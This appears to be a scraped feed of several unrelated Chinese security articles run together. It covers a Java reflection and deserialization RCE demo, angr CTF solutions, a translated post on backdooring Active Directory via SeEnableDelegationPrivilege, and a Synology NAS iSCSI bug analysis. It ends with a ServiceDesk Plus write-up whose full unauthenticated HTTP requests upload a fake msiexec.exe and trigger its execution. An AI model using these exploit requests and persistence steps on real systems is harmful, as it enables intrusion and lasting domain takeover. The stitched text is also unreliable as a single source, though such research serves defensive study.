在一般情况下，我们使用反射机制不能对类的私有private字段进行操作，绕过私有权限的访问。但一些特殊场景存在例外的时候，比如我们进行序列化操作的时候，需要去访问这些受限的私有字段，这时我们可以通过调用AccessibleObject上的setAccessible()方法来允许访问。
Java.lang.reflect.AccessibleObject类是Field，Method和Constructor类对象的基类，可以提供将反射对象标记为使用它抑制摸人Java访问控制检查的功能，同时上述的反射类中的Field，Method和Constructor继承自AccessibleObject。所以我们在这些类方法基础上调用setAccessible()方法，既可对这些私有字段进行操作。
所有我们最开始的代码再修改简略下，就能成功命令执行了。
import java.lang.reflect.Constructor;
public class RuntimeTest {
public static void main(String[] args) throws Exception {
Class c1= Class.forName("java.lang.Runtime");
Constructor m = c1.getDeclaredConstructor();
m.setAccessible(true);
c1.getMethod("exec", String.class).invoke(m.newInstance(), "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
### Java反序列化漏洞demo
最后结束就用一个之前学习java反射的时候学习的demo，如果我们在进行反序列化过程中可控的话，能够加载我们使用反射调用的恶意命令语句的话，则能够成功进行命令执行。
import java.io.*;
import java.lang.reflect.Method;
public class demo implements Serializable {
private Integer age;
private String name;
public demo() {}
public demo(String name,Integer age) {// 构造函数，初始化时执行
this.age = age;
this.name = name;
}
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject(); // 调用原始的readObject方法
try{ // 通过反射方法执行命令;
Method method = java.lang.Runtime.class.getMethod("exec", String.class);
Object result = method.invoke(Runtime.getRuntime(),"calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
demo x = new demo();
operation.ser(x);
operation.deser();
}
}
class operation{
public static void ser(Object obj) {
try {// 序列化操作，写数据
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
// ObjectOutStream能把Object输出成Byte流
oos.writeObject(obj); // 序列化关键函数
oos.flush(); //缓冲流
oos.close(); //关闭流
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deser() {
try {// 反序列化操作，读取数据
File file = new File("object.obj");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object x = ois.readObject(); //反序列化的关键函数
System.out.println(x);
ois.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个实验当中，我们使用的Java反射却是可以访问private的方法和属性，绕过第二级安全机制的方法，原理本质是官兵访问安全检查。
### 小结
在实际利用场景当中，我们利用利用Java反射机制来绕过一些安全权限机制检查，如获取private权限的方法和属性。本质就是我们绕过访问安全检查。所以通过java反射机制的学习，能够为我们为我们后面的java漏洞分析调试，java漏洞poc测试和服务端模板引擎注入等有着十分重要的意义。因为文章讲的比较通俗简单，主要是面向开始没有涉及一些漏洞分析与源码分析，后面java安全基础系列会慢慢加入这些并详细讲解。其次如果大家对文章有什么问题和觉得需要改进的地方，可以在评论下方留言，大家一起探讨交流下。
### 参考
<https://xz.aliyun.com/t/7029#toc-0>
<https://zhuanlan.zhihu.com/p/86998760>
<http://code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-er-javade-fan-she-ji-zhi-java-reflection.html>
<https://blog.csdn.net/m0_38103658/article/details/105482035> | 社区文章 |
# 前言
就我感觉angr比较适合用来解决混淆的题目，面对混淆题去混淆感觉自己能力不够，直接动态调试，又觉得非常浪费时间，那么这时angr可以成为非常好的帮手。
## 如何快速的寻找find和avoid
在解题时我们时常会遇到带有强混淆的程序，这类程序要找出所有的find和avoid是一件耗时耗力的事情，那么我们可以采取何种高效的办法进行寻找呢？
这里以`hackcon2016_angry-reverser`为例。
IDA载入
很明显的混淆，如果自己分析一遍，然后去除混淆也是需要费点时间的，不过如果你掌握了angr，那么只需要几分钟就可以解决此题，根本不要关心其使用了何种加密方式。
此题中，正确的路径只有一条`find=0x405a6e`,需要避免的路径则有很多，我们可以通过如下代码，得到所有需要avoid的地址。
e = open('./yolomolo', 'rb').read()
avoids = []
index = 0
while True:
index = e.find(b'\xB9\x00\x00\x00\x00',index+1)
if index == -1:
break
addr = 0x400000 + index
avoids.append()
print (len(avoids))
print (avoids)
其中`\xB9\x00\x00\x00\x00`是`mov ecx 0`的机器码，因此完整代码可以如下组织：
import angr
import claripy
def main():
flag = claripy.BVS('flag', 20*8, explicit_name=True)
buf = 0x606000
crazy = 0x400646
find = 0x405a6e
e = open('./yolomolo', 'rb').read()
avoids = []
index = 0
while True:
index = e.find(b'\xB9\x00\x00\x00\x00',index+1)
if index == -1:
break
addr = 0x400000 + index
avoids.append(addr)
proj = angr.Project('./yolomolo')
state = proj.factory.blank_state(addr=crazy, add_options={angr.options.LAZY_SOLVES})
state.memory.store(buf, flag, endness='Iend_BE')
state.regs.rdi = buf
for i in range(19):
state.solver.add(flag.get_byte(i) >= 0x30)
state.solver.add(flag.get_byte(i) <= 0x7f)
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=find, avoid=avoids)
found = simgr.found[0]
return found.solver.eval(flag, cast_to=bytes)
if __name__ in '__main__':
import logging
logging.getLogger('angr.sim_manager').setLevel(logging.DEBUG)
print(main())
## 例题
其实angr最适合拿来解决线性的程序。
就比如说这题`ekopartyctf2016_rev250`
如果去混淆，不一定能去除成功，如果动态调试，必定会耗费相当多的时间。如果你会使用angr，那么使用angr是在容易不过的事情了。
由于需要调用当前的动态库，我们可以这样运行`LD_LIBRARY_PATH=./ ./FUck_binary`
OK，并不是命令行参数输入。
通过IDA，获取更多的信息。
最终的`find`应该在这里。
需要避免的分支`0x403ABA`,`403A7E`等
我们可以通过之前提到过的方法提取出所有的`avoid`分支。
avoids = []
def get_avoids():
file_bytes = open('./FUck_binary','rb').read()
index = 0
while True:
index = file_bytes.find(b'\x66\x90',index+1)
if index == -1:
break
if index < 0x3a7e:
continue
addr = 0x400000+index
avoids.append(addr)
在对输入进行条件约束时我们可以这么组织，这是常用的限制可打印字符的方式。
`state.solver.And(c <= '~', c >= ' ')`
跑了一下结果还以为代码写错了，这答案也太让人摸不着头脑了。
代码如下：
import angr
import claripy
BUF_LEN = 100
avoids = []
def get_avoids():
file_bytes = open('./FUck_binary','rb').read()
index = 0
while True:
index = file_bytes.find(b'\x66\x90',index+1)
if index == -1:
break
if index < 0x3a7e:
continue
addr = 0x400000+index
avoids.append(addr)
def main():
p = angr.Project('FUck_binary')
flag = claripy.BVS('flag', BUF_LEN*8)
state = p.factory.entry_state(stdin=flag)
for c in flag.chop(8):
state.solver.add(state.solver.And(c <= '~', c >= ' '))
ex = p.factory.simulation_manager(state)
ex.explore(find=0x403a40,avoid=avoids)
found = ex.found[0]
print(found.posix.dumps(0))
if __name__ == '__main__':
#main()
get_avoids()
main()
# 总结
> 既然选择了angr，便只顾风雨兼程 | 社区文章 |
# 【技术分享】那些从未听过的高危用户权限
|
##### 译文声明
本文是翻译文章，文章来源：harmj0y.net
原文地址：<http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **胖胖秦** ****](http://bobao.360.cn/member/contribute?uid=353915284)
**预估稿费：120RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
我发现Windows用户权限非常有趣。独立于计算机/域对象DACL，用户权限主要负责“通过什么方式可以让特定的用户登录到一个特定的系统
”，它被组策略中的用户权限分配所管理。我最近利用Get-ProcessTokenPrivilege函数中将枚举到的特权整合到PowerUp，尤其是特殊的权限。
**SeEnableDelegationPrivilege**
SeEnableDelegationPrivilege被我忽略了。这项权限负责一个用户帐户是否可以“允许计算机和用户帐户被信任为委派”，我忽略了它的权限是因为规定的文档：“没有任何理由将此用户权限分配给成员服务器上的任何人和属于域的工作站，因为它在这些上下文中没有意义;
它仅与域控制器和独立计算机相关。“所以这个权利适用于域，而不是本地域加入的机器。
我们一开始都认为这个权限只负责TRUSTED_FOR_DELEGATION和TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION标志的修改-这将建立一个漂亮的攻击。不幸的是，对我们的攻击者，看来这种权限也控制msDS-AllowedToDelegateTo属性的修改，它包含受限制的委派目标。
如果我们没有SeEnableDelegationPrivilege 权限，我们就不能修改授权特定的用户帐户控制设置,也不能修改目标msDS-AllowedToDelegateTo 字段（即使我们有对象的完全控制权）：
现在的问题是：我们如何确定哪些用户在域中拥有这项权限？由于SeEnableDelegationPrivilege仅适用于域控制器本身，我们需要检查应用于域控制器的任何组策略对象是否修改了给定DC的用户权限分配。在大多数情况下，这将是“默认域控制器策略”（GUID={6AC1786C-016F-11D2-945F-00C04FB984F9}）。这也正是
Get-DomainPolicy -Source DC PowerView函数所做的：
因此，默认情况下，只有BUILTINAdministrators（即域管理员/企业管理员等）的成员才有权修改这些授权设置。但是，如果我们可以编辑这个GPO或者应用于域控制器的任意一个GPO会发生什么？
**为什么关心**
在给予足够的权限下,有一百万种方法开启Active Directory后门。Sean Metcalf把这些叫作“Sneaky Active
Directory Persistence
Tricks”。其中的一些涉及到ACL后门，这些我在过去已经介绍过一些。其他的方法可能需要恶意修改的组策略。还有一些可能涉及修改用户对象。SeEnableDelegationPrivilege
的这种方法比以上所说的都高明。
如果我们在域中控制了一个拥有SeEnableDelegationPrivilege权限的对象，这表明对象在域中的任何用户对象上都有GenericAll/GenericWrite权限，我们可以无限期的,随意攻击域。
由于在默认域控制器GPO上提升域权限或编辑权限只需几分钟，你可以对给定的GPO进行单一的修改来实现这个后门。这GPO位于\DOMAINsysvoltestlab.localPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}MACHINEMicrosoftWindows
NTSecEditGptTmpl.inf 。通过将任何用户SID或用户名添加到[Privilege
Rights]节的SeEnableDelegationPrivilege行中，当用户/当前电脑的DC重启或刷新其组策略时,设置就会生效：
如果恶意用户在域中拥有任意用户的完整的权限，我们可以修改用户的msDS-AllowedToDelegateTo的值为我们想要攻击的任何目标。如果需要，我们还可以修改TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
UAC标志。在这种情况下，让我们利用ldap/DOMAIN_CONTROLLER来随意使用DCSyncing：
如果恶意用户对任何目标受害都有GenericAll权限，那么我们甚至不必知道受害用户的密码。我们可以使用Set-DomainUserPassword将密码强制重置为一个已知值，然后执行asktgt.exe/s4u.exe攻击流。
很显然，从防守端，我们可以通过PowerView或其他方式来了解哪些用户在域控制器中拥有SeEnableDelegationPrivilege特权。这个权限会赋予用户完整的域控制权，这是一个伟大的“微妙”的权限，但是可以很简单的检测（如果你知道你在找什么）出AD后门。有明显的方法，你可以破坏域控制器中已经被赋予的SYSTEM权限，在未来几周,我会详细介绍检测特定DACL修改的方法，但是,在组策略中审查这些应用是一个好的开始。 | 社区文章 |
# A-Journey-into-Synology-NAS-系列三-iscsi_snapshot_comm_core服务分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## A Journey into Synology NAS 系列三: iscsi_snapshot_comm_core服务分析
上一篇[文章](https://www.anquanke.com/post/id/251909)主要对群晖`NAS`设备上的`findhostd`服务进行了分析。本篇文章将继续对另一个服务`iscsi_snapshot_comm_core`进行分析，介绍其对应的通信流程，并分享在其中发现的几个安全问题。
## iscsi_snapshot_comm_core服务分析
`iSCSI (Internet small computer system interface)`，又称`IP-SAN`，是一种基于块设备的数据访问协议。`iSCSI`可以实现在`IP`网络上运行`SCSI`协议，使其能够在诸如高速千兆以太网上进行快速的数据存取/备份操作。
群晖`NAS`设备上与`iSCSI`协议相关的两个进程为`iscsi_snapshot_comm_core`和`iscsi_snapshot_server`，对应的通信流程示意图如下。具体地，`iscsi_snapshot_comm_core`首先接收并解析来自外部`socket`的数据，之后再通过`pipe`发送给自己，对接收的`pipe`数据进行处理后，再通过`pipe`发送数据给`iscsi_snapshot_server`。`iscsi_snapshot_server`接收并解析来自`pipe`的数据，根据其中的`commands`来执行对应的命令，如`init_snapshot`、`start_mirror`、`restore_lun`等。
对于通过`socket`和`pipe`进行数据的发送与接收，在`libsynoiscsiep.so.6`中存在着2个对应的结构体`socket_channel_transport`和`pipe_channel_transport`，其包含一系列相关的函数指针，如下。其中，部分函数最终是通过调用`PacketRead()`和`PacketWrite()`这2个函数来进行数据的读取和发送。
LOAD:00007FFFF7DD9F40 public pipe_channel_transport
LOAD:00007FFFF7DD9F40 pipe_channel_transport dq 2 ; DATA XREF: LOAD:off_7FFFF7DD7F48↑o
LOAD:00007FFFF7DD9F40 ; LOAD:transports↑o
LOAD:00007FFFF7DD9F48 dq offset synocomm_pipe_construct
LOAD:00007FFFF7DD9F50 dq offset synocomm_pipe_destruct
LOAD:00007FFFF7DD9F58 align 20h
LOAD:00007FFFF7DD9F60 dq offset synocomm_pipe_stop_service
LOAD:00007FFFF7DD9F68 dq offset synocomm_pipe_internal_request
LOAD:00007FFFF7DD9F70 dq offset synocomm_pipe_internal_response
LOAD:00007FFFF7DD9F78 dq offset synocomm_pipe_internal_request_media
LOAD:00007FFFF7DD9F80 dq offset synocomm_pipe_internal_response_media
LOAD:00007FFFF7DD9F88 dq offset synocomm_base_external_request
LOAD:00007FFFF7DD9F90 dq offset synocomm_base_external_response
LOAD:00007FFFF7DD9F98 dq offset synocomm_base_write_msg_pipe
LOAD:00007FFFF7DD9FA0 dq offset synocomm_base_read_msg_pipe
LOAD:00007FFFF7DD9FA8 dq offset synocomm_base_send_msg
LOAD:00007FFFF7DD9FB0 dq offset synocomm_base_recv_msg
LOAD:00007FFFF7DD9FB8 align 20h
LOAD:00007FFFF7DD9FC0 public socket_channel_transport
LOAD:00007FFFF7DD9FC0 socket_channel_transport dq 1 ; DATA XREF: LOAD:off_7FFFF7DD7F68↑o
LOAD:00007FFFF7DD9FC0 ; LOAD:00007FFFF7DD9F18↑o
LOAD:00007FFFF7DD9FC8 dq offset synocomm_socket_construct
LOAD:00007FFFF7DD9FD0 dq offset synocomm_socket_destruct
LOAD:00007FFFF7DD9FD8 dq offset synocomm_socket_start_service
LOAD:00007FFFF7DD9FE0 dq offset synocomm_socket_stop_service
LOAD:00007FFFF7DD9FE8 dq offset synocomm_socket_internal_request
LOAD:00007FFFF7DD9FF0 dq offset synocomm_socket_internal_response
LOAD:00007FFFF7DD9FF8 dq offset synocomm_socket_internal_request_media
LOAD:00007FFFF7DDA000 dq offset synocomm_socket_internal_response_media
LOAD:00007FFFF7DDA008 dq offset synocomm_base_external_request
LOAD:00007FFFF7DDA010 dq offset synocomm_base_external_response
LOAD:00007FFFF7DDA018 dq offset synocomm_base_write_msg_socket
LOAD:00007FFFF7DDA020 dq offset synocomm_base_read_msg_socket
LOAD:00007FFFF7DDA028 dq offset synocomm_base_send_msg
LOAD:00007FFFF7DDA030 dq offset synocomm_base_recv_msg
在了解了大概的通信流程后，接下来将仔细看一下其中的每一步。
## 安全问题
### 非法内存访问
在阶段`1`，`iscsi_snapshot_comm_core`进程接收来自外部`socket`的数据，其最终会调用`PacketRead()`函数来完成对应的功能，部分代码如下。可以看到，在`(4)`处存在一个有符号数比较：如果`v7`为负数的话，`(4)`处的条件将会为真，同时会将`v7`赋值给`v4`。之后`v4`会作为`size`参数传入`memcpy()`，
如果`v4`为负数，后续在`(5)`处调用`memcpy()`时将会造成溢出，同时由于`size`参数过大，也会出现非法内存访问。而`v7`的值来自于`(3)`处`a2()`函数的返回值，可以看到在`(6)`处如果函数`a2()`的第三个参数为0，则会返回-1。而函数`a2()`的第三个参数来自于`(2)`处的`v6[6]`，而`v6`指向的内容为`(4)`处接收的`socket`数据。也就是说，`v6[6]`是外部可控的。因此，通过构造并发送一个伪造的数据包，可造成在`(5)`处调用`memcpy()`时出现溢出(或非法内存访问)。
__int64 PacketRead(__int64 a1, signed int (__fastcall *a2)(__int64, __int64, signed __int64), void *a3, unsigned int a4)
{
dest = a3;
v4 = a4; // max_length: 0x1000
v5 = ___tzalloc(32LL, 1LL, "synocomm_packet_cmd.c", "ReadPacketHeader", 136LL);
v6 = (_DWORD *)v5;
if ( a2(a1, v5, 32LL) < 0 || memcmp(v6, &qword_7FFFF7DDA2B0, 8uLL) ) // (1) recv socket data
{
// ...
}
v7 = ___tzalloc(32LL, 0LL, "synocomm_packet_cmd.c", "GetPacket", 168LL);
// ...
v8 = v6[6]; // (2) v8 = 0
v9 = ___tzalloc(v6[6], 0LL, "synocomm_packet_cmd.c", "GetPacket", 174LL);
v7[1] = (const void *)v9;
v10 = a2(a1, v9, v8); // (3) recv socket data: return -1
*(_DWORD *)v7 = v10;
// ...
if ( (signed int)v4 > *(_DWORD *)v7 ) // (4) signed comparison
v4 = *(_DWORD *)v7;
memcpy(dest, v7[1], (signed int)v4); // (5) overflow
// ...
}
ssize_t a2(__int64 a1, void *a2, int a3)
{
// ...
if ( a3 == 0 || a2 == 0LL || !a1 ) // (6)
result = 0xFFFFFFFFLL;
else
result = recv(*(_DWORD *)(a1 + 4), a2, a3, 0);
return result;
}
### 越界读
假设我们忽略了阶段`1`中的问题，在阶段`2`，`iscsi_snapshot_comm_core`接收来自`pipe`的数据并进行解析，然后调用对应的处理函数，对应的部分代码如下。其中，在`(1)`处会读取数据并将其保存在大小为`0x1000`的缓冲区中。之后会根据读取的数据，调用类似`Handlexxx`的函数，如`HandleSendMsg()`、`HandleRecvMsg()`。根据程序中存在的某个结构体，会发现这两个函数和其他函数不太一样，比较特别。
signed __int64 StartEngCommPipeServer@<rax>(__int64 *a1@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>)
{
// ...
v5 = (char *)___tzalloc(4096LL, 1LL, "synocomm.c", "PipeServerHandler", 458LL);
while ( 1 )
{
v6 = (*(__int64 (__fastcall **)(__int64, char *, __int64))(*(_QWORD *)(v4 + 56) + 112LL))(v4, v5, 4096LL); // (1) recv msg
// ...
v7 = v5[1];
if ( v5[1] == 1 || *v5 == 16 || *v5 == -1 )
{
switch ( *v5 + 1 )
{
case 0:
HandleRejectMsg(v5); continue;
// ...
case 33:
HandleSendMsg(v5); continue; // (2)
case 34:
HandleRecvMsg(v5); continue; // (3)
case 49:
HandleBindMsg(v5); continue;
// ...
以`HandleRecvMsg()`函数为例，它会调用`AppSendControl()`。其中，函数`AppSendControl()`的第`3`个参数为`(unsigned
int)(*(_DWORD *)(a1 + 76) + 84)`，而`a1`指向前面接收的数据，因此其第`3`个参数是外部可控的。
__int64 HandleRecvMsg(__int64 a1)
{
v1 = SearchAppInLocalHostSetByUUID(a1 + 36);
v2 = (void *)v1;
if ( v1 )
{
v3 = -((int)AppSendControl(v2, a1, (unsigned int)(*(_DWORD *)(a1 + 76) + 84)) <= 0); // (4) controllable
}
// ...
}
在阶段`3`，`AppSendControl()`函数会通过`pipe`发送数据给`iscsi_snapshot_server`，其最终会调用`PacketWrite()`来完成数据的发送，部分代码如下。函数`PacketWrite()`的第`3`个参数来自于`AppSendControl()`函数的第`2`个参数，第`4`个参数来自于`AppSendControl()`函数的第`3`个参数。
__int64 PacketWrite(__int64 a1, __int64 (__fastcall *a2)(__int64, void *, _QWORD), __int64 a3, unsigned int a4)
{
// ...
v4 = a1;
ptr = 0LL;
if ( a1 && a2 && a3 && a4 )
{
v5 = CreatePacket(&ptr, a3, a4); // (1)
v6 = ptr;
if ( (signed int)v5 > 0 && ptr )
{
v7 = a2(v4, ptr, v5);
if ( v7 >= 0 )
v7 -= 32;
v6 = ptr;
}
// ...
在`PacketWrite()`函数内，在`(1)`处会调用`CreatePacket()`来构建包，`CreatePacket()`函数的部分代码如下。其中，在`(2)`处先调用`tzalloc()`申请大小为`a3+32`的堆空间，在`(3)`处调用`memcpy()`将数据拷贝到指定偏移处。
__int64 CreatePacket(__int64 *a1, const void *a2, int a3)
{
if ( a1
&& (v3 = a3 + 32,
v4 = a3,
v5 = (void *)___tzalloc((a3 + 32), 0LL, "synocomm_packet_cmd.c", "CreatePacket", 57LL), // (2)
(*a1 = (__int64)v5) != 0) )
{
memset(v5, 0, v3);
v6 = *a1;
*(_QWORD *)v6 = qword_7FFFF7DDA2B0;
v7 = *a1;
*(_DWORD *)(v6 + 24) = v4;
memcpy((void *)(v7 + 32), a2, v4); // (3) out-of-bounds read
}
// ...
}
需要说明的是，在`(3)`处调用`memcpy()`时，其第`2`个参数`a2`指向前面保存接收数据的缓冲区，大小为`0x1000`，而第3个参数`v4`外部可控。因此在调用`memcpy()`时会存在如下`2`个问题：
* `v4`为一个`small large value` 如`0x1100`，由于`a2`的大小为`0x1000`，故会出现越界读；
* `v4`为一个`big large value` 如`0xffffff90`，由于在调用`tzalloc(a3+32)`时会出现整数上溢，造成分配的堆空间很小，而`memcpy()`的`size`参数很大，故会出现非法内存访问。
因此，通过构造并发送伪造的数据包，可以造成在调用`memcpy()`时出现越界读或者非法内存访问。
> 在`Pwn2Own Tokyo
> 2020`上，`STARLabs`团队利用`HandleSendMsg()`中的越界读漏洞，并组合其他漏洞，在群晖`DS418play`型号的`NAS`设备上实现了任意代码执行。
前面提到过，`HandleSendMsg()`与`HandleRecvMsg()`和其他`Handlexxx`函数不太一样。根据下面的内容可知，只有`SendMsg`和`RecvMsg`这`2`个预定义的长度为`0`(未定义)，其他都有预定义的长度，因而造成后续处理时存在上述问题。
LOAD:00007FFFF7DDA120 dq offset aGetappipack ; "GetAppIPAck"
LOAD:00007FFFF7DDA128 dq 0Ch ; pre-defined length
LOAD:00007FFFF7DDA130 dq 20h
LOAD:00007FFFF7DDA138 dq offset aSendmsg ; "SendMsg"
LOAD:00007FFFF7DDA140 dq 0
LOAD:00007FFFF7DDA148 dq 21h
LOAD:00007FFFF7DDA150 dq offset aRecvmsg ; "RecvMsg"
LOAD:00007FFFF7DDA158 dq 0 ; 只有这2个未定义长度,后面对应的函数中存在漏洞
LOAD:00007FFFF7DDA160 dq 30h
LOAD:00007FFFF7DDA168 dq offset aFailToBind+8 ; "Bind"
LOAD:00007FFFF7DDA170 dq 0D4h ; pre-defined length
LOAD:00007FFFF7DDA178 dq 31h
### 访问控制不当
假设我们同样忽略了上述问题，在阶段`4`，`iscsi_snapshot_server`从`pipe`读取数据并进行处理，对应的代码如下。在`sub_401BA0()`中，在`(1)`处调用`CommRecvEvlp()`读取数据，在`(2)`处调用`HandleProtCommand()`。
signed __int64 sub_401BA0()
{
// ...
v0 = (_QWORD *)CreateSynoCommEvlp();
v1 = CreateSynoComm("ISS-SERVER");
// ...
while ( 1 )
{
while ( 1 )
{
v2 = CommRecvEvlp(v1, v0); // (1) recv data
// ...
ExtractFromUUIDByDataPacket(*v0, v64);
ExtractToUUIDByDataPacket(*v0, v65);
v4 = (const char *)CommGetEvlpData(v0);
// ...
v5 = CommGetEvlpData(v0);
v6 = HandleProtCommand(v1, v5, &s, v64); // (2)
// ...
在`HandleProtCommand()`中，先将读取的数据转换为`json对象`，解析其中的`command`、`command_sn`和`plugin_id`等，然后根据`command`值查找对应的处理函数，并进行调用。
__int64 HandleProtCommand(__int64 a1, __int64 a2, const char **a3, __int64 a4)
{
// ...
v5 = GetJSONFromString(a2); // (3)
// ...
v9 = (const char *)SYNOCPBJsonGetString(v5, "command", 0LL);
// ...
v10 = 0;
v11 = (const char *)*((_QWORD *)pCmdPatterns_ptr + 1);
v12 = (char *)pCmdPatterns_ptr + 32;
// ...
v25 = (unsigned int *)((char *)pCmdPatterns_ptr + 24 * v10);
v26 = *v25;
if ( !(unsigned int)json_object_object_get_ex(v6, "command", &v33) ) v33 = 0LL;
if ( !(unsigned int)json_object_object_get_ex(v6, "command_sn", &v34) ) v34 = 0LL;
if ( !(unsigned int)json_object_object_get_ex(v6, "plugin_id", &v35) ) v35 = 0LL;
if ( !(unsigned int)json_object_object_get_ex(v6, "key", &v36) ) v36 = 0LL;
if ( !(unsigned int)json_object_object_get_ex(v6, "protocol_version", &v37) ) v37 = 0LL;
// ...
v38 = json_object_get_string(v33, "protocol_version");
// ...
if ( v42 && *v42 == 50 )
{
v29 = (*((__int64 (__fastcall **)(__int64, const char *, __int64 *, const void **, __int64))pCmdPatterns_ptr + 3 * v24 + 2))( a1, v6, &v38, &v32, a4); // (4)
// ...
LOAD:00007FFFF7DDA340 pCmdPatterns dq 1 ; DATA XREF: LOAD:pCmdPatterns_ptr↑o
LOAD:00007FFFF7DDA348 dq offset aUnregister_0+2 ; "register"
LOAD:00007FFFF7DDA350 dq offset HandleProtRegister
LOAD:00007FFFF7DDA358 dq 2
LOAD:00007FFFF7DDA360 dq offset aDisconnect+3 ; "connect"
LOAD:00007FFFF7DDA368 dq offset HandleProtConnect
; ...
LOAD:00007FFFF7DDA3D8 dq offset aStartMirror ; "start_mirror"
LOAD:00007FFFF7DDA3E0 dq offset HandleProtStartMirror
; ...
LOAD:00007FFFF7DDA460 dq 0Dh
LOAD:00007FFFF7DDA468 dq offset aBadDeleteLun+4 ; "delete_lun"
LOAD:00007FFFF7DDA470 dq offset HandleProtDeleteLun
; ...
LOAD:00007FFFF7DDA4C0 dq 11h
LOAD:00007FFFF7DDA4C8 dq offset aTpTaskReady ; "tp_task_ready"
LOAD:00007FFFF7DDA4D0 dq offset HandleProtTPTaskReady
根据`pCmdPatterns`的内容可知，有很多支持的`command`，如`register`、`connect`、`start_mirror`和`delete_lun`等。以`delete_lun`为例，其对应的处理函数为`HandleProtDeleteLun()`。
在`HandleProtDeleteLun()`函数内，获取必要的参数后，在`(5)`处调用`SYNOiSCSILunDelete()`来删除对应的`lun`，而整个过程是无需认证的。因此通过构造并发送伪造的数据包，可实现删除设备上的`lun`，对数据造成威胁。
signed __int64 HandleProtDeleteLun(__int64 a1, __int64 a2, __int64 a3, _QWORD *a4)
{
v16[0] = 0LL;
if ( !(unsigned int)json_object_object_get_ex(a2, "data", v16) )
{
// ...
}
v7 = SYNOCPBJsonGetInteger(v16[0], "type");
v8 = v7;
// ...
v9 = SYNOCPBJsonGetString(v16[0], "lun", 0LL);
// ...
v10 = v9;
v11 = SYNOCPBGetLun(v8, v9);
v12 = (unsigned int *)v11;
// ...
if ( (unsigned int)SYNOiSCSILunDelete(v11, v10) ) // (5)
{
// ...
## 小结
本文从局域网的视角出发，对群晖`NAS`设备上的`iscsi_snapshot_comm_core`服务进行了分析，并分享了在`iscsi_snapshot_comm_core`与`iscsi_snapshot_server`之间的通信流程中发现的部分问题。当然，`iscsi_snapshot_comm_core`服务的功能比较复杂，这里只是涉及了其中很小的一块，感兴趣的读者可以对其他部分进行分析。
## 相关链接
* [(Pwn2Own) Synology DiskStation Manager StartEngCommPipeServer HandleSendMsg Out-Of-Bounds Read Information Disclosure Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-21-339/)
* [Synology-SA-20:26 DSM](https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26) | 社区文章 |
# 环境搭建
11303版本的才有ImportTechnicians action，11305版本没有，踩了个大坑。
<http://archives.manageengine.com/service-desk/11303/ManageEngine_ServiceDesk_Plus_64bit.exe>
调试环境和补丁比对就不写了
另外获取版本可以通过下面的方式
http://192.168.137.189:8080/servlets/DCPluginServlet?action=getVersionDetails
其中buildnumber是版本号，自己搭建了N个环境，测出来影响的版本应该为11200 到
11303。因为11200之前web.xml没有restapi的servlet-mapping。
# 命令执行
根据[cisa的披露文章](https://us-cert.cisa.gov/ncas/alerts/aa21-336a)来看，需要运行一个msiexec.exe，用grep找到了`com.manageengine.s247.actions.S247Action#s247AgentInstallationProcess`
继续调用S247Util.installAgentProgress(apikey)
会执行`C:\Program Files\ManageEngine\ServiceDesk\bin\msiexec.exe /i
Site24x7WindowsAgent.msi EDITA1=apikey /qn`
根据web.xml配置构造出url
<http://192.168.137.189:8080/s247action.do?execute=s247AgentInstallationProcess>
但是这个url需要授权，接着看
# 上传文件
根据披露文章可知，上传点位于/RestAPI/ImportTechnicians?step=1
类com.adventnet.servicedesk.setup.action.ImportTechniciansAction
直接写入iuf.getTheFile()获取到的文件
构造上传包，这里不需要授权就能调用api就挺离谱
POST /RestAPI/ImportTechnicians?step=1 HTTP/1.1
Host: 192.168.137.189:8080
Content-Length: 191
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="theFile"; filename="msiexec.exe"
Content-Type: image/jpeg
asd
------WebKitFormBoundaryRBcwSPhzFlHZQPEo--
然后通过上面的命令执行rce就行了
# 串起来
s247action.do需要授权，我们可以用RestAPI来调用
POST /./RestAPI/s247action HTTP/1.1
Host: 192.168.137.189:8080
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
execute=s247AgentInstallationProcess
然后整个流程就是先传msiexec.exe 然后执行命令就行了。msiexec.exe内容可以自写exe，投递webshell。
# 总结
不需要认证的离谱洞。 | 社区文章 |
